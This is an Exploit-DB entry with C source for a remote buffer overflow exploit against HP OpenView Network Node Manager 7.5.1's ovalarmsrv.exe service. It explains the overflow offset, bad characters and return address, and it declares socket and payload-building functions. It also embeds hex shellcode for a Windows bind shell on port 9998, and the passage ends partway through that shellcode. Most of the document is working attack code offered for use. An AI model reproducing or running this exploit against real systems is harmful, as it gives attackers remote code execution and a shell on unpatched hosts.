Exploit-DB #5445
Description: HP OpenView Network Node Manager (OV NNM) 7.5.1 - 'ovalarmsrv.exe' Remote Overflow
Type: remote
Platform: windows
Date: 2008-04-14
Author: Heretic2

Exploit:
/* Dreatica-FXP crew
* 
* ----------------------------------------
* Target         : HP OpenView Network Node Manager v7.5
* ----------------------------------------
* Exploit        : HP OpenView NNM v7.5.1 ovalarmsrv.exe Remote Buffer Overflow Exploit
* Exploit date   : 07.04.2008
* Exploit writer : Heretic2 (heretic2x@gmail.com)
* OS             : Windows ALL 
* Crew           : Dreatica-FXP
* Location       : http://www.milw0rm.com/
* ----------------------------------------
* Info           : Vulnerabilty was found by Luigi Auriemma. Sending more than 524 bytes 
*                  to the 2954 port can overflow the EIP register. Too lazy to research the whole 
*                  array of badchars, so simply used the alpahnumeric shellcodes. 
*                  0x00 0x0a 0x20 are bad chars, but i think there are few more.
*                  I only got the ret address for the 7.5.1 version, but 7.5.3 is also vulnerable. 
*                  Using the 2954 port i was not able to determine exact version of HP OV
*                  which runs on the server.
* ----------------------------------------
* Thanks to:
*		1. Luigi Auriemma          ( http://aluigi.org   <aluigi [at] autistici.org> )
*		2. The Metasploit project  ( http://metasploit.com                           ) 
*       3. ALPHA 2: Zero-tolerance ( <skylined [at] edup.tudelft.nl>                 ) 
*		4. Dreatica-FXP crew       (                                                 )
************************************************************************************
* This was written for educational purpose only. Use it at your own risk. Author will be not be 
* responsible for any damage, caused by that code.
*/

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <winsock2.h>
#include <time.h>

#pragma comment(lib,"ws2_32")


void usage(char * s);
void logo();
void end_logo();
void print_info_banner_line(const char * key, const char * val);

void extract_ip_and_port( char * &remotehost, int * port, char * str);
int fill_payload_args(int sh, int bport, char * reverseip, int reverseport, struct h2readyp * xx);

int hr2_connect(char * remotehost, int port, int timeout);
int hr2_udpconnect(char * remotehost, int port,  struct sockaddr_in * addr, int timeout);
int hr2_updsend(char * remotehost, unsigned char * buf, unsigned int len, int port, struct sockaddr_in * addr, int timeout);
int execute(struct _buf * abuf, char * remotehost, int port);

struct _buf 
{
	unsigned char * ptr;
	unsigned int size;
};
int construct_shellcode(int sh, struct _buf * shf, int target, char * reverseip, int reverseport);
int construct_buffer(struct _buf * shf, int target, struct _buf * abuf);




// -----------------------------------------------------------------
// XGetopt.cpp  Version 1.2
// -----------------------------------------------------------------
int getopt(int argc, char *argv[], char *optstring);
char	*optarg;		// global argument pointer
int		optind = 0, opterr; 	// global argv index
// -----------------------------------------------------------------
// -----------------------------------------------------------------


struct {
	const char * name;
	int length;
	char *shellcode;	
}shellcodes[]={ 	
	{  "BindShell on 9998 [                    ]", 
		// alphanumeric encoder took from "ALPHA 2: Zero-tolerance." code
		/*
		* windows/shell_bind_tcp - 
		* http://www.metasploit.com
		* Encoder: generic/none
		*/	
		696,
		"\xeb\x03\x59\xeb\x05\xe8\xf8\xff\xff\xff\x49\x49\x49\x49\x49\x49"
		"\x49\x49\x49\x49\x49\x49\x49\x49\x49\x49\x49\x37\x51\x5a\x6a\x41"
		"\x58\x50\x30\x41\x30\x41\x6b\x41\x41\x51\x32\x41\x42\x32\x42\x42"
		"\x30\x42\x42\x41\x42\x58\x50\x38\x41\x42\x75\x4a\x49\x69\x6c\x43"
		"\x5a\x6a\x4b\x70\x4d\x6b\x58\x59\x69\x4b\x4f\x4b\x4f\x4b\x4f\x53"
		"\x50\x4c\x4b\x32\x4c\x47\x54\x77\x54\x4c\x4b\x63\x75\x75\x6c\x6e"
		"\x6b\x31\x6c\x57\x75\x53\x48\x76\x61\x7a\x4f\x6e\x6b\x32\x6f\x56"
		"\x78\x6c\x4b\x61\x4f\x51\x30\x56\x61\x78\x6b\x32\x69\x6c\x4b\x44"
		"\x74\x4c\x4b\x46\x61\x38\x6e\x74\x71\x6b\x70\x6f\x69\x4e\x4c\x6f"
		"\x74\x4b\x70\x51\x64\x77\x77\x39\x51\x78\x4a\x64\x4d\x45\x51\x59"
		"\x52\x58\x6b\x4c\x34\x65\x6b\x70\x54\x77\x54\x64\x68\x71\x65\x7a"
		"\x45\x4e\x6b\x73\x6f\x45\x74\x53\x31\x5a\x4b\x33\x56\x4c\x4b\x56"
		"\x6c\x52\x6b\x6e\x6b\x33\x6f\x35\x4c\x67\x71\x7a\x4b\x74\x43\x36"
		"\x4c\x6e\x6b\x6b\x39\x30\x6c\x64\x64\x55\x4c\x33\x51\x79\x53\x66"
		"\x51\x6b\x6b\x51\x74\x6c\x4b\x70\x43\x56\x50\x4c\x4b\x51\x50\x54"
		"\x4c\x6c\x4b\x34\x30\x35\x4c\x6c\x6d\x4c\x4b\x53\x70\x63\x38\x71"
		"\x4e\x72\x48\x4c\x4e\x70\x4e\x64\x4e\x58\x6c\x72\x70\x59\x6f\x69"
		"\x46\x51\x76\x70\x53\x31\x76\x50\x68\x35\x63\x56\x52\x31\x78\x52"
		"\x57\x73\x43\x74\x72\x71\x4f\x56\x34\x69\x6f\x4e\x30\x35\x38\x7a"
		"\x6b\x7a\x4d\x6b\x4c\x35\x6b\x70\x50\x49\x6f\x68\x56\x71\x4f\x6e"
		"\x69\x4d\x35\x30\x66\x4f\x71\x5a\x4d\x45\x58\x75\x52\x33\x65\x32"
		"\x4a\x77\x72\x79\x6f\x7a\x70\x71\x78\x79\x49\x77\x79\x6c\x35\x4e"
		"\x4d\x33\x67\x49\x6f\x6b\x66\x50\x53\x62\x73\x53\x63\x46\x33\x50"
		"\x53\x31\x53\x51\x43\x43\x73\x70\x53\x4b\x4f\x6a\x70\x33\x56\x70"
		"\x68\x74\x67\x64\x4e\x63\x56\x31\x43\x4d\x59\x4b\x51\x4d\x45\x33"
		"\x58\x4c\x64\x36\x7a\x70\x70\x4b\x77\x56\x37\x6b\x4f\x4e\x36\x73"
		"\x5a\x56\x70\x70\x51\x70\x55\x4b\x4f\x4a\x70\x73\x58\x4d\x74\x4c"
		"\x6d\x76\x4e\x38\x69\x66\x37\x6b\x4f\x6b\x66\x52\x73\x50\x55\x4b"
		"\x4f\x58\x50\x65\x38\x4b\x55\x43\x79\x4f\x76\x62\x69\x51\x47\x59"
		"\x6f\x38\x56\x42\x70\x50\x54\x32\x74\x51\x45\x79\x6f\x78\x50\x6e"
		"\x73\x31\x78\x79\x77\x52\x59\x4f\x36\x73\x49\x62\x77\x4b\x4f\x78"
		"\x56\x61\x45\x4b\x4f\x5a\x70\x52\x46\x50\x6a\x71\x74\x50\x66\x52"
		"\x48\x61\x73\x52\x4d\x4b\x39\x6b\x55\x51\x7a\x72\x70\x76\x39\x77"
		"\x59\x5a\x6c\x6c\x49\x59\x77\x42\x4a\x70\x44\x4c\x49\x58\x62\x50"
		"\x31\x49\x50\x6b\x43\x4c\x6a\x6b\x4e\x43\x72\x34\x6d\x4b\x4e\x51"
		"\x52\x44\x6c\x5a\x